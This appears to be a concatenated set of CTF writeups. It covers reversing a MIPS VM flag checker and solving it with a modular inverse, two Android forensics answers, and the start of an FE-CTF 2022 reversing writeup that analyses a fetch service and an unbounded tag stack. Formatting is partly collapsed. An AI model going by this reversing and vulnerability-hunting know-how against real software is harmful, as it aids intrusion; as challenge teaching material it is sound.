0x8000083c VM_LOOP: ;0x8000083c lui $v0, 0x8000 ;0x80000840 addiu $v0, $v0, 0x3d24 ; v0 = 0x80003d24 = &glo_vm_ctx0x80000844 lw $v0, 8($v0) ; v0 = *(0x80003d24 + 8) = glo_vm_pc0x80000848 lhu $v0, ($v0) ; v0 = glo_vm_pc = &vm_prog[pc] (read VM insn opcode)0x8000084c sh $v0, 0x14($fp) ; var_14 = VM insn opcode0x80000850 lui $v0, 0x8000 ; 0x80000854 addiu $v0, $v0, 0x3d24 ;0x80000858 lw $v0, 8($v0) ; v0 = *(0x80003d24 + 8) = glo_vm_pc0x8000085c addiu $v1, $v0, 2 ; v1 = glo_vm_pc + 2 = &vm_prog[pc + 2]0x80000860 lui $v0, 0x8000 ; 0x80000864 addiu $v0, $v0, 0x3d24 ;0x80000868 sw $v1, 8($v0) ; glo_vm_pc += 2 (advance to VM insn operands)0x8000086c lhu $v0, 0x14($fp) ; v0 = VM insn opcode0x80000870 sltiu $v1, $v0, 0xe ; v1 = v0 < 0xe ? 1 : 00x80000874 nop ;0x80000878 j 0x80002ac4 ; bound check; we have 14 VM instructions0x8000087c nop ;0x80000880 sll $v1, $v0, 2 ; v1 = VM insn opcode * 4 (find table entry)0x80000884 lui $v0, 0x8000 ;0x80000888 addiu $v0, $v0, 0x2690 ; v0 = 0x80002690 = VM instruction table0x8000088c addu $v0, $v1, $v0 ;0x80000890 lw $v0, ($v0) ; v0 = vm_insn[vm_opcode]0x80000894 nop ;0x80000898 j 0x80002ad8 ; execute VM instruction and loop back to VM_LOOP ↓0x80002ad8 jr $v0 ; call VM instruction ↓0x80000a1c nop ;0x80000a20 j 0x80002c54 ; ...```
Here we have a mini VM :$. VM context is located at `0x80003d24`. VM PC is initialized to`0x80003D40`, where it is the emulated program:``` 0x0009, 0x091D, 0x0009, 0x0000, 0x000A, 0x0005, 0x0006, 0x0014, 0x0009, 0x0001, ...```
Program is parsed into **half-words**. First program reads the opcode and uses it to dispatch it tothe appropriate VM instruction. VM instruction table is located at `0x80002690` and contains **14**VM instructions:```assemblyRAM:80002690 glo_VM_INSN_TBL_80002690: # DATA XREF: RAM:80000884↑oRAM:80002690 .word loc_800008A0 ; VM INSN #0 : addRAM:80002694 .word loc_800008EC ; VM INSN #1 : subRAM:80002698 .word loc_80000938 ; VM INSN #2 : mulRAM:8000269C .word loc_80000980 ; VM INSN #3 : moduloRAM:800026A0 .word loc_800009CC ; VM INSN #4 : cmp <RAM:800026A4 .word loc_80000A1C ; VM INSN #5 : cmp ==RAM:800026A8 .word loc_80000A70 ; VM INSN #6 : jeRAM:800026AC .word loc_80000AFC ; VM INSN #7 : jneRAM:800026B0 .word loc_80000B88 ; VM INSN #8 : read from input tableRAM:800026B4 .word loc_80000BD0 ; VM INSN #9 : push immRAM:800026B8 .word loc_80000C20 ; VM INSN #10: push regRAM:800026BC .word loc_80000C48 ; VM INSN #11: pop regRAM:800026C0 .word loc_80000C6C ; VM INSN #12: popRAM:800026C4 .word loc_80000C84 ; VM INSN #13: halt```
Let's look at them one by one:```assembly; ------------------------------ VM INSTRUCTION #0 ------------------------------;; Add the first 2 arguments to the stack (result truncated in .half) and put the; result back to the stack.;0x800008a0 nop ;0x800008a4 j 0x80002aec ; stack pop0x800008a8 nop ;0x800008ac sh $v0, 0x3a($fp) ; var_3a = stack top0x800008b0 nop ;0x800008b4 j 0x80002b00 ; stack pop0x800008b8 nop ;0x800008bc sh $v0, 0x3c($fp) ; var_3c = stack top 20x800008c0 lhu $v1, 0x3a($fp) ;0x800008c4 lhu $v0, 0x3c($fp) ;0x800008c8 addu $v0, $v1, $v0 ; v0 = top + top20x800008cc andi $v0, $v0, 0xffff ; truncate result to .half0x800008d0 move $a0, $v0 ;0x800008d4 nop ;0x800008d8 j 0x80002b14 ; stack push0x800008dc nop ;0x800008e0 nop ;0x800008e4 j 0x80002b28 ; loop back to VM loop0x800008e8 nop ;
; ------------------------------ VM INSTRUCTION #1 ------------------------------;; Subtract the top from the second argument on stack and store the result back; to the stack.;0x800008ec nop ;0x800008f0 j 0x80002b3c ; ↓0x80002b3c jal 0x80000710 ; stack pop
0x800008f8 sh $v0, 0x36($fp) ; var_36 = stack top0x800008fc nop ;0x80000900 j 0x80002b50 ; ↓0x80002b50 jal 0x80000710 ; stack pop
0x80000908 sh $v0, 0x38($fp) ; var_38 = stack pop 20x8000090c lhu $v1, 0x36($fp) ; v1 = top10x80000910 lhu $v0, 0x38($fp) ; v0 = top20x80000914 subu $v0, $v1, $v0 ; v0 = top1 - top20x80000918 andi $v0, $v0, 0xffff ; truncate result to 16 bits0x8000091c move $a0, $v0 ; a0 result0x80000920 nop ;0x80000924 j 0x80002b64 ; ↓0x80002b64 jal 0x80000794 ; stack push
0x8000092c nop ;0x80000930 j 0x80002b78 ; ↓0x80002b78 b 0x80000c9c ; loop back to VM loop
; ------------------------------ VM INSTRUCTION #2 ------------------------------;; Pop the top 2 values from the stack & multiply them. Result goes back to accumulator;0x80000938 nop ;0x8000093c j 0x80002b8c ; stack pop0x80000940 nop ;0x80000944 sh $v0, 0x32($fp) ; var_34 = stack top0x80000948 nop 0x8000094c j 0x80002ba0 ; stack pop0x80000950 nop ;0x80000954 sh $v0, 0x34($fp) ; var_34 = stack top 20x80000958 lhu $v1, 0x32($fp) ;0x8000095c lhu $v0, 0x34($fp) ;0x80000960 mul $v0, $v1, $v0 ; v0 = top1 * top2 (.word)0x80000964 move $v1, $v0 ;0x80000968 lui $v0, 0x8000 ;0x8000096c addiu $v0, $v0, 0x3d24 ;0x80000970 sw $v1, 4($v0) ; vm_ctx->acc = top1 * top20x80000974 nop ;0x80000978 j 0x80002bb4 ; loop back to VM loop0x8000097c nop ;
; ------------------------------ VM INSTRUCTION #3 ------------------------------;; Pop the top 1 value from the stack & divide it by the accumulator. Store modulo; back to the stack.;0x80000980 nop ;0x80000984 j 0x80002bc8 ; stack pop0x80000988 nop ;0x8000098c sh $v0, 0x30($fp) ; var_30 = stack top0x80000990 lui $v0, 0x8000 ;0x80000994 addiu $v0, $v0, 0x3d24 ;0x80000998 lw $v1, 4($v0) ; v1 = accumulator 0x8000099c lhu $v0, 0x30($fp) ; var_30 = top0x800009a0 teq $v0, $zero, 7 ; catch division by 00x800009a4 divu $zero, $v1, $v0 ; lo = accumator / top; hi = accumator % top0x800009a8 mfhi $v0 ; v0 = accumator % top0x800009ac andi $v0, $v0, 0xffff ; trim result to 16-bits0x800009b0 move $a0, $v0 ;0x800009b4 nop ;0x800009b8 j 0x80002bdc ; stack push0x800009bc nop ;0x800009c0 nop ;0x800009c4 j 0x80002bf0 ; loop back to VM loop0x800009c8 nop ;
; ------------------------------ VM INSTRUCTION #4 ------------------------------;; Compare 2 top arguments from stack. If top1 < top2 store 1 back to stack.; Otherwise store 0 back to stack.;0x800009cc nop ;0x800009d0 j 0x80002c04 ; stack pop0x800009d4 nop ;0x800009d8 sh $v0, 0x2c($fp) ; var_2c = stack top0x800009dc nop ;0x800009e0 j 0x80002c18 ; stack pop0x800009e4 nop ;0x800009e8 sh $v0, 0x2e($fp) ; var_2e = stack top 20x800009ec lhu $v1, 0x2c($fp) ;0x800009f0 lhu $v0, 0x2e($fp) ;0x800009f4 sltu $v0, $v1, $v0 ; v0 = top1 < top2 ?0x800009f8 andi $v0, $v0, 0xff ;0x800009fc andi $v0, $v0, 0xffff ;0x80000a00 move $a0, $v0 ;0x80000a04 nop ;0x80000a08 j 0x80002c2c ; stack push0x80000a0c nop ;0x80000a10 nop ;0x80000a14 j 0x80002c40 ; jump back to VM loop0x80000a18 nop ;
; ------------------------------ VM INSTRUCTION #5 ------------------------------;; Compare equal. Take 2 arguments of the stack and push back 1 if they are equal.; Otherwise push 0.; 0x80000a1c nop ;0x80000a20 j 0x80002c54 ; ↓0x80002c54 jal 0x80000710 ; stack pop
0x80000a28 sh $v0, 0x28($fp) ;0x80000a2c nop ;0x80000a30 j 0x80002c68 ; ↓0x80002c68 jal 0x80000710 ; stack pop
0x80000a38 sh $v0, 0x2a($fp) ; var_2a = v00x80000a3c lhu $v1, 0x28($fp) ; v1 = var_280x80000a40 lhu $v0, 0x2a($fp) ; v0 = var_2a0x80000a44 xor $v0, $v1, $v0 ; v0 = v1 ^ v00x80000a48 sltiu $v0, $v0, 1 ; v0 = v0 < 1 ? 1 : 00x80000a4c andi $v0, $v0, 0xff ;0x80000a50 andi $v0, $v0, 0xffff ;0x80000a54 move $a0, $v0 ; a0 = (v0 == v1) ?0x80000a58 nop 0x80000a5c j 0x80002c7c ; ↓0x80002c7c jal 0x80000794 ; push back to stack
0x80000a64 nop 0x80000a68 j 0x80002c90 ; ↓0x80002c90 b 0x80000c9c ; loop back to VM loop
; ------------------------------ VM INSTRUCTION #6 ------------------------------;; pop from stack + jump taken if top of stack is 0.;0x80000a70 lui $v0, 0x8000 ;0x80000a74 addiu $v0, $v0, 0x3d24 ; v0 = 0x80003d24 = vm_ctx0x80000a78 lw $v0, 8($v0) ; v0 = vm_pc0x80000a7c lh $v0, ($v0) ;0x80000a80 sw $v0, 0x20($fp) ; var_20 = vm_prog[pc] (.half)0x80000a84 lui $v0, 0x8000 ;0x80000a88 addiu $v0, $v0, 0x3d24 ;0x80000a8c lw $v0, 8($v0) ; v0 = vm_pc0x80000a90 addiu $v1, $v0, 2 ; v1 = vm_pc + 20x80000a94 lui $v0, 0x8000 ;0x80000a98 addiu $v0, $v0, 0x3d24 ;0x80000a9c sw $v1, 8($v0) ; vm_pc += 20x80000aa0 nop ;0x80000aa4 j 0x80002ca4 ; ↓0x80002ca4 jal 0x80000710 ; stack pop
0x80000aa8 nop ;0x80000aac sw $v0, 0x24($fp) ; var_24 = stack top0x80000ab0 lw $v0, 0x24($fp) ;0x80000ab4 nop ;0x80000ab8 j 0x80002cb8 ; ↓0x80002cb8 beqz $v0, 0x80000c9c ; ↓0x80000c9c lw $v0, 0x10($fp) ;0x80000ca0 nop ;0x80000ca4 j 0x80002df8 ; ↓0x80002df8 beqz $v0, 0x8000083c ; go back to VM loop
0x80000abc nop ;0x80000ac0 lui $v0, 0x8000 ;0x80000ac4 addiu $v0, $v0, 0x3d24 ; v0 = vm_ctx0x80000ac8 lw $v1, 8($v0) ; v1 = vm_pc0x80000acc lw $v0, 0x20($fp) ; v0 = var_20 = imm from pc0x80000ad0 srl $a0, $v0, 0x1f ; a0 = MSBit of v00x80000ad4 addu $v0, $a0, $v0 ; v0 (2's complement)0x80000ad8 sra $v0, $v0, 1 ;0x80000adc sll $v0, $v0, 1 ;0x80000ae0 addu $v1, $v1, $v0 ; v1 = vm_pc + off0x80000ae4 lui $v0, 0x8000 ;0x80000ae8 addiu $v0, $v0, 0x3d24 ;0x80000aec sw $v1, 8($v0) ; vm_pc += off0x80000af0 nop ;0x80000af4 j 0x80002ccc ; ↓0x80002ccc b 0x80000c9c ; loop back to VM loop
; ------------------------------ VM INSTRUCTION #7 ------------------------------;; pop from stack + jump taken if top of stack is not 0.;0x80000afc lui $v0, 0x8000 ;0x80000b00 addiu $v0, $v0, 0x3d24 ;0x80000b04 lw $v0, 8($v0) ; v0 = &vm_ctx->pc0x80000b08 lh $v0, ($v0) ; v0 = &vm_prog[vm_pc]0x80000b0c sw $v0, 0x18($fp) ; var_18 = vm_prog[vm_pc] (.half)0x80000b10 lui $v0, 0x8000 ;0x80000b14 addiu $v0, $v0, 0x3d24 ;0x80000b18 lw $v0, 8($v0) ;0x80000b1c addiu $v1, $v0, 2 ; vm_pc += 20x80000b20 lui $v0, 0x8000 ;0x80000b24 addiu $v0, $v0, 0x3d24 ;0x80000b28 sw $v1, 8($v0) ;0x80000b2c nop ;0x80000b30 j 0x80002ce0 ; ↓0x80002ce0 jal 0x80000710 ; stack pop
0x80000b38 sw $v0, 0x1c($fp) ; var_1c = stack top0x80000b3c lw $v0, 0x1c($fp) ;0x80000b40 nop ;0x80000b44 j 0x80002cf4 ; ↓0x80002cf4 bnez $v0, 0x80000c9c ; if not 0 loop back to VM loop ↓0x80002cfc b 0x80000b48 ; not zero, move on ↓0x80000b48 nop ;0x80000b4c lui $v0, 0x8000 ;0x80000b50 addiu $v0, $v0, 0x3d24 ;0x80000b54 lw $v1, 8($v0) ; v1 = vm_pc0x80000b58 lw $v0, 0x18($fp) ; v0 = var_18 = vm_prog[vm_pc]0x80000b5c srl $a0, $v0, 0x1f ;0x80000b60 addu $v0, $a0, $v0 ;0x80000b64 sra $v0, $v0, 1 ;0x80000b68 sll $v0, $v0, 1 ;0x80000b6c addu $v1, $v1, $v0 ; v1 = vm_pc + vm_prog[vm_pc]0x80000b70 lui $v0, 0x8000 ;0x80000b74 addiu $v0, $v0, 0x3d24 ;0x80000b78 sw $v1, 8($v0) ; vm_pc = v10x80000b7c nop ;0x80000b80 j 0x80002d08 ; ↓0x80002d08 b 0x80000c9c ; go back to VM loop
; ------------------------------ VM INSTRUCTION #8 ------------------------------;; Read a .half from input tape (this is where flag is stored);;0x80000b88 lui $v0, 0x8000 ;0x80000b8c addiu $v0, $v0, 0x3d24 ; v0 = vm_ctx0x80000b90 lw $v0, 0x18($v0) ; v0 = &vm_inp0x80000b94 lhu $v0, ($v0) ; v0 = vm_inp[:2] (read 2 bytes from flag)0x80000b98 move $a0, $v0 ; a0 = flag[:2]0x80000b9c nop ;0x80000ba0 j 0x80002d1c ; ↓0x80002d1c jal 0x80000794 ; stack push
0x80000ba4 nop ;0x80000ba8 lui $v0, 0x8000 ;0x80000bac addiu $v0, $v0, 0x3d24 ; v0 = vm_ctx0x80000bb0 lw $v0, 0x18($v0) ; vm = &vm_inp0x80000bb4 addiu $v1, $v0, 2 ; vm_inp += 2 (move pointer to the next .half)0x80000bb8 lui $v0, 0x8000 ;0x80000bbc addiu $v0, $v0, 0x3d24 ;0x80000bc0 sw $v1, 0x18($v0) ; store0x80000bc4 nop ;0x80000bc8 j 0x80002d30 ; ↓0x80002d58 b 0x80000c9c ; loop back to VM loop
; ------------------------------ VM INSTRUCTION #9 ------------------------------;; push imm (.half) to stack; 0x80000bd0 lui $v0, 0x8000 ;0x80000bd4 addiu $v0, $v0, 0x3d24 ; v0 = vm_ctx0x80000bd8 lw $v0, 8($v0) ; v0 = vm_pc0x80000bdc lhu $v0, ($v0) ; v0 = vm_prog[pc] (.half) (read imm)0x80000be0 sh $v0, 0x16($fp) ; var_16 = vm_prog[pc]0x80000be4 lui $v0, 0x8000 ;0x80000be8 addiu $v0, $v0, 0x3d24 ;0x80000bec lw $v0, 8($v0) ;0x80000bf0 addiu $v1, $v0, 2 ;0x80000bf4 lui $v0, 0x8000 ;0x80000bf8 addiu $v0, $v0, 0x3d24 ; 0x80000bfc sw $v1, 8($v0) ; vm_pc += 20x80000c00 lhu $v0, 0x16($fp) ;0x80000c04 move $a0, $v0 ; a0 = imm0x80000c08 nop ;0x80000c0c j 0x80002d44 ; ↓0x80002d44 jal 0x80000794 ; stack push
0x80000c14 nop ;0x80000c18 j 0x80002d58 ; ↓0x80002d58 b 0x80000c9c ; loop back to VM loop
; ------------------------------ VM INSTRUCTION #10 ------------------------------; push vm reg to stack (originally, reg == len(flag) // 2 (.half));0x80000c20 lui $v0, 0x8000 ;0x80000c24 lh $v0, 0x3d24($v0) ; v0 = vm_ctx->reg0x80000c28 andi $v0, $v0, 0xffff ;0x80000c2c move $a0, $v0 ; a0 = vm_reg0x80000c30 nop ;0x80000c34 j 0x80002d6c ; ↓0x80002d6c jal 0x80000794 ; stack push
0x80000c38 nop ;0x80000c3c nop ;0x80000c40 j 0x80002d80 ; ↓0x80002d80 b 0x80000c9c ; loop back to VM loop
; ------------------------------ VM INSTRUCTION #11 ------------------------------;; pop from stack into VM reg (initialized to flag(len));0x80000c48 nop ;0x80000c4c j 0x80002d94 ; ↓0x80002d94 jal 0x80000710 ; stack pop
0x80000c54 seh $v1, $v0 ;0x80000c58 lui $v0, 0x8000 ;0x80000c5c sh $v1, 0x3d24($v0) ; store to vm_ctx->reg0x80000c60 nop ;0x80000c64 j 0x80002da8 ; ↓0x80002da8 b 0x80000c9c ; loop back to VM loop
; ------------------------------ VM INSTRUCTION #12 ------------------------------;; pop;0x80000c6c nop ;0x80000c70 j 0x80002dbc ; ↓0x80002dbc jal 0x80000710 ; stack pop
0x80000c74 nop ;0x80000c78 nop ;0x80000c7c j 0x80002dd0 ; ↓0x80002dd0 b 0x80000c9c ; loop back to VM loop
0x80000c80 nop ;
; ------------------------------ VM INSTRUCTION #13 ------------------------------;; exit VM (return back);0x80000c84 addiu $v0, $zero, 1 ; v0 = 10x80000c88 sw $v0, 0x10($fp) ; var_10 = 10x80000c8c nop ;0x80000c90 j 0x80002de4 ; nop jump? ↓0x80002de4 b 0x80000c9c ;
0x80000c9c lw $v0, 0x10($fp) ; v0 = var_10 = 10x80000ca0 nop ;0x80000ca4 j 0x80002df8 ; ↓ 0x80002df8 beqz $v0, 0x8000083c ; if not 0, go back to VM loop ↓0x80002e00 b 0x80000ca8 ; ↓0x80000ca8 nop ;0x80000cac nop ;0x80000cb0 nop ;0x80000cb4 move $sp, $fp ;0x80000cb8 lw $ra, 0x44($sp) ;0x80000cbc lw $fp, 0x40($sp) ;0x80000cc0 addiu $sp, $sp, 0x48 ;0x80000cc4 nop ;0x80000cc8 j 0x80002e0c ; ↓0x80002e0c jr $ra ; Return back to 0x80000e60```
This is stack-based VM machine. Instructions are fairly simple, so we can easily write adisassembler for it. For more details, please refer to the[flash_vm_disasm.py](./flash_vm_disasm.py) script.
### Reversing the VM Program
Using the script we can get the disassembly of the VM program:```assembly80003D40h: push 0x091D ; S = [0x091D]
80003D44h: push 0x0000 ; S = [0, 0x091D]80003D48h: push reg ; S = [reg, 0, 0x091D]; reg initialized to len(flag)//280003D4Ah: cmp == ; S = [reg == 0 ?, 0x091D]80003D4Ch: je 0014h (~> 80003D64) ; pop skip read loop80003D50h: push 0x0001 ; S = [1, 0x091D]80003D54h: push reg ; S = [reg, 0x091D]80003D56h: sub ; S = [reg - 1, 0x091D]80003D58h: pop reg ; reg -= 180003D5Ah: read_flag_half ; S = [flag[0:2], 0x091D]80003D5Ch: push 0x0001 ; 180003D60h: je FFE0h (~> 80013D44) ; loop back
; At this point: S = [flag[x:x+2], ..., flag[2:4], flag[0:2]]80003D64h: push 0x0011 ; S = [0x11, flag[x:x+2], ...,]80003D68h: mul ; S = [...,], acc = 0x11 * flag[x:x+2]80003D6Ah: push 0xB248 ; S = [0xB248, ..., flag[x-2:x]]80003D6Eh: mod ; S = [(0x11 * flag[x:x+2]) % 0xB248, ...,]80003D70h: push 0x72A9 ; S = [0x72A9, (0x11 * flag[x:x+2]) % 0xB248, ...,]80003D74h: cmp == ; (0x11 * flag[x:x+2]) % 0xB248 == 0x72A9 ?80003D76h: jne 0144h (~> 80003EBE) ; if not go to badboy80003D7Ah: push 0x0011 ; S = [0x11, flag[x-2:x], ...]80003D7Eh: mul ;80003D80h: push 0xB248 ; same thing repeats but with different constants to check80003D84h: mod ;80003D86h: push 0x097E ;80003D8Ah: cmp == ;80003D8Ch: jne 012Eh (~> 80003EBE) ;80003D90h: push 0x0011 ;80003D94h: mul ;80003D96h: push 0xB248 ;80003D9Ah: mod ;80003D9Ch: push 0x5560 ;80003DA0h: cmp == ;80003DA2h: jne 0118h (~> 80003EBE) ;80003DA6h: push 0x0011 ;80003DAAh: mul ;80003DACh: push 0xB248 ;80003DB0h: mod ;80003DB2h: push 0x4CA1 ;80003DB6h: cmp == ;80003DB8h: jne 0102h (~> 80003EBE) ;80003DBCh: push 0x0011 ;80003DC0h: mul ;80003DC2h: push 0xB248 ;80003DC6h: mod ;80003DC8h: push 0x0037 ;80003DCCh: cmp == ;80003DCEh: jne 00ECh (~> 80003EBE) ;80003DD2h: push 0x0011 ;80003DD6h: mul ;80003DD8h: push 0xB248 ;80003DDCh: mod ;80003DDEh: push 0xAA71 ;80003DE2h: cmp == ;80003DE4h: jne 00D6h (~> 80003EBE) ;80003DE8h: push 0x0011 ;80003DECh: mul ;80003DEEh: push 0xB248 ;80003DF2h: mod ;80003DF4h: push 0x122C ;80003DF8h: cmp == ;80003DFAh: jne 00C0h (~> 80003EBE) ;80003DFEh: push 0x0011 ;80003E02h: mul ;80003E04h: push 0xB248 ;80003E08h: mod ;80003E0Ah: push 0x4536 ;80003E0Eh: cmp == ;80003E10h: jne 00AAh (~> 80003EBE) ;80003E14h: push 0x0011 ;80003E18h: mul ;80003E1Ah: push 0xB248 ;80003E1Eh: mod ;80003E20h: push 0x11E8 ;80003E24h: cmp == ;80003E26h: jne 0094h (~> 80003EBE) ;80003E2Ah: push 0x0011 ;80003E2Eh: mul ;80003E30h: push 0xB248 ;80003E34h: mod ;80003E36h: push 0x1247 ;80003E3Ah: cmp == ;80003E3Ch: jne 007Eh (~> 80003EBE) ;80003E40h: push 0x0011 ;80003E44h: mul ;80003E46h: push 0xB248 ;80003E4Ah: mod ;80003E4Ch: push 0x76C7 ;80003E50h: cmp == ;80003E52h: jne 0068h (~> 80003EBE) ;80003E56h: push 0x0011 ;80003E5Ah: mul ;80003E5Ch: push 0xB248 ;80003E60h: mod ;80003E62h: push 0x096D ;80003E66h: cmp == ;80003E68h: jne 0052h (~> 80003EBE) ;80003E6Ch: push 0x0011 ;80003E70h: mul ;80003E72h: push 0xB248 ;80003E76h: mod ;80003E78h: push 0x122C ;80003E7Ch: cmp == ;80003E7Eh: jne 003Ch (~> 80003EBE) ;80003E82h: push 0x0011 ;80003E86h: mul ;80003E88h: push 0xB248 ;80003E8Ch: mod ;80003E8Eh: push 0x87CB ;80003E92h: cmp == ;80003E94h: jne 0026h (~> 80003EBE) ;80003E98h: push 0x0011 ;80003E9Ch: mul ;80003E9Eh: push 0xB248 ;80003EA2h: mod ;80003EA4h: push 0x09E4 ;80003EA8h: cmp == ;80003EAAh: jne 0010h (~> 80003EBE) ;80003EAEh: push 0x091D ;80003EB2h: jne 0008h (~> 80003EBE) ;80003EB6h: push 0x0000 ; goodboy; return 080003EBAh: pop reg ;80003EBCh: halt ;80003EBEh: push 0x0001 ; badboy; return 180003EC2h: pop reg ;80003EC4h: halt ;```
It is very easy to understand what this program does. First it pushes flag on the stack (**2**characters at a time). Then it starts from the end of the flag and does the following check:``` if (0x11 * flag[x:x+2]) % 0xB248 == 0x72A9) then move one otherwise goto badboy```
If the check is passed it moves on with the previous **2** characters from the flag and checks themagainst another constant, and so on, until all characters are checked.
### Cracking the Code
Getting the flag is actually quite simple. First we find the multiplicative inverse of **17**modulo **0xB248**, which is **0x4969**. Then:``` 17*flagN == 0x72A9 mod 0xB248 => flagN == 0x72A9 * 17^-1 mod 0xB248 => flagN == 0x72A9 * 0x4969 mod 0xB248 =>
flagN = 0x6521 = '!e'```
That is, to get flag we multiply the constant **0x72A9** with **0x4969** modulo **0xB248**. Theresult is the last **2** characters from the flag. We repeat the same for other constants:``` 0x72A9, 0x097E, 0x5560, 0x4CA1, 0x0037, 0xAA71, 0x122C, 0x4536, 0x11E8, 0x1247, 0x76C7, 0x096D, 0x122C, 0x87CB, 0x09E4```
And we get the flag.
So, the flag is: `flag{it's_time_to_pwn_this_machine!}`
For more details, please take a look at the [flash_crack.py](./flash_crack.py) file.___ |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#what-is-the-name-of-the-largest-partition) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-is-the-name-of-the-largest-partition) out
We then loaded up the image into Autopsy using the default settings and plugins for an phone image. Next we sorted the different partitions based on their sector sizes to get the biggest one:

Which brings us **userdata** as the searched one. |
[Original writeup](https://medium.com/@LambdaMamba/ctf-writeup-la-ctf-2023-e827c9cd47c4#2132) (https://medium.com/@LambdaMamba/ctf-writeup-la-ctf-2023-e827c9cd47c4#2132) |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#what-is-the-model-of-phone) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-is-the-model-of-phone) out
For the model of the phone we had to search a bit. With some help of the internet we found out that this kind of information should be within the build.prop file found under /system/build.prop. There should be a field called ro.product.model which has the model of the phone. By the way these small things took lots of time to find. So funny enough for us were the easy ones the tuff ones, cause we had no clue where to look at first.

And we got it **SM-G530FZ**. Also we found the right way probably to find the vendor cause samsung was written there in lower cases. |
# FE-CTF 2022: Cyber Demon
# Challenge: Hug Me, Squeeze Me
For this challenge we are given two files and an address:
- `words.elf` (64-bit ELF executable, not stripped)- `libsqz.so` (64-bit ELF shared object, not stripped)- `xoxo.hack.fe-ctf.dk:1337`
*Organizer's note:*
> Some teams contacted us regarding the symbol `_STRIP_ELF_BEFORE_CTF_` in> `libsqz.so` and the fact that neither of the files are stripped.> > We know.> > The symbol (which, by the way, has a value of 0x1337) was meant half as a joke> and half as incentive for teams to have a crack at this challenge (as a way of> saying "hey, it could be worse").>> From `libsqz.ld`:> ```> SECTIONS {> . = SIZEOF_HEADERS;> /* Easter egg */> _STRIP_ELF_BEFORE_CTF_ = 0x1337;> [...]> ```
By the principle of lowest hanging fruit first we connect to the address:
```$ nc xoxo.hack.fe-ctf.dk 1337== proof-of-work: disabled ==> helpwat> menuwat> usagewat>```
This is not very helpful, so it seems we'll have to do some reversing.
First we need a working local instance of the service. Presumably `libsqz.so`is needed by `words.elf` (which is also confirmed by inspecting its dynamicsection.) so we run:
```$ env LD_LIBRARY_PATH=$PWD ./words.elf>```
This seems fine. But now we are at a crossroads; should we look at `words.elf` or`libsqz.so` first? At this point we don't even know what the program does sowe'll start with `words.elf`.
## `words.elf`
Running it through our favorite disassembler (`objdump`) we quickly see that`main` continually reads a line from `FILENO_STDIN`, and does some rudimentary"parsing" (`strcmp` and `memcmp`). In particular we have:
```$ env LD_LIBRARY_PATH=$PWD ./words.elf> HalpCommands: Count[=yes/no] Unique[=yes/no] Ignore case[=yes/no] Verbose[=yes/no] Links[=on/off] Words[=on/off] Fetch <url>>```
And a quick glance through the rest of `main` confirms that these are the onlystrings that it will accept. `Verbose` is handled twice, but that does not looklike a security problem.
*Organizer's note:*
> It is not. It's just the result of over-eager copy'n'paste. From `main.c`:> ```> OPT(Count , count , yes, no);> OPT(Unique , unique , yes, no);> OPT(Ignore case, caseign, yes, no);> OPT(Verbose , verbose, yes, no);> OPT(Verbose , verbose, yes, no);> OPT(Links , clinks , on, off);> OPT(Words , cwords , on, off);> ```
We also see that each of the options that can be set `yes`/`no`/`on`/`off`,there's a corresponding global boolean variable (`g_count`, `g_unique`,`g_caseign`, `g_verbose`, `g_clinks`, `g_cwords` respectively).
And finally we have `"Fetch"`, which calls the function `get` with the given URLas its first argument and a pointer to a stack variable as its second argument.If `g_verbose` is set we can see that the second argument is printed as a stringafterwards, so the function prototype must look something like this:
```.cget(char *url, char **contentsout)```
Let's test it:
```$ env LD_LIBRARY_PATH=$PWD ./words.elf> Verbose=yes> Fetch https://www.google.comKilled```
Hm, OK. Some poking and prodding reveals that this (sometimes) works:
```$ (echo Verbose=yes ; echo Fetch https://www.google.com) | \env LD_LIBRARY_PATH=$PWD ./words.elf > > =============532c[...]```
So we know there's an element of timing and/or system differences with theremote host involved (*organizer's note:* we'll explain exactly why the processis killed towards the end of this writeup).
A quick glance through the undefined symbols of `words.elf` reveals that nosymbol from `libsqz.so` is ever actually used:
```$ nm -Du words.elf U accept@GLIBC_2.2.5[...] U __xstat64@GLIBC_2.2.5```
So we should be able to replace `libsqz.so` with an empty library while weconcentrate on `words.elf`:
```$ mv libsqz.so real-libsqz.so$ touch libsqz.c$ gcc -shared libsqz.c -o libsqz.so```
That's much better, although we see the error message "SSL read failed". Let'sfetch a non-SSL site instead:
```$ (echo Verbose=yes ; echo Fetch https://neverssl.com) | \env LD_LIBRARY_PATH=$PWD ./words.elf> > =============<html>[...]```
OK, now that we're in a known good state let's get back to `"Fetch"` and buildfrom there. The code looks something like this:
```.cchar *url = &input[6]; // 6 == strlen("Fetch ")char *data;if (get(url, &data)) { if (g_verbose) { printf("=============\n%s\n=============\n", data); } count(data); if (g_clinks) { puts("LINKS:"); show(g_links); } if (g_cwords) { puts("WORDS:"); show(g_words); }}```
The `get` function mostly just parses the URL, and chooses between two globaltables of function pointers (symbols `con_raw` and `con_ssl`) depending onwhether the URL starts with "http" or "https". Since the binary isn't strippedwe can see that the functions are `init`, `fini`, `recv`, `send` (prefixed with`raw_` and `ssl_` respectively).
Then it connects using `mbedtls_net_connect`, and initializes the connectionwhich for HTTP is a no-op but for HTTPS involves a rather convoluted handshake.
After initialization the function `do_get` sends the actual "GET" request andreceives the response. The function checks that the response status code is200, and strips the response header, but does no additional parsing. Theresponse minus the header is read into a global `mmap`'ed buffer at a random(but fixed) location.
*Organizer's note:*
> The address of the buffer is calculated as>> ```> srand(getpid() + time(NULL));> getbuf = (unsigned char *)((unsigned long)rand() << 12);> ```>> This addres is highly predictable, but in this case it is not a security> issue. The reason a fixed address is used has to do with `libsqz.so`, but> we're getting ahead of ourselves.
Although a bit convoluted it looks like `get` does exactly what it says on thetin, and there are no immediately obvious bugs (*organizer's note:* we hopenot).
Se we continue to `count`. This function is basically a hand rolled HTML parserand it's a mess (*organizer's note:* this is intentional). Luckily symbol namesgive some hints as to what is going on:
When the parser encounters an HTML tag it calls `handle_open_tag` with the tagname. That function pushes that tag name onto a global stack of tags(`tags_stack`). This stack has a fixed size of 100. The variable `tags_top`stores the index of the topmost item on the stack. This variable is storedimmediately after the stack, and there are no bounds checks, so it is possibleto overflow into the variable.
*Organizer's note:*
> This overflow is a red herring.
If the pushed tag is a member of the list `ignore_tags` the global variable`do_ignore` is set to `true`. We see that the ignored tags are `style` and`script`.
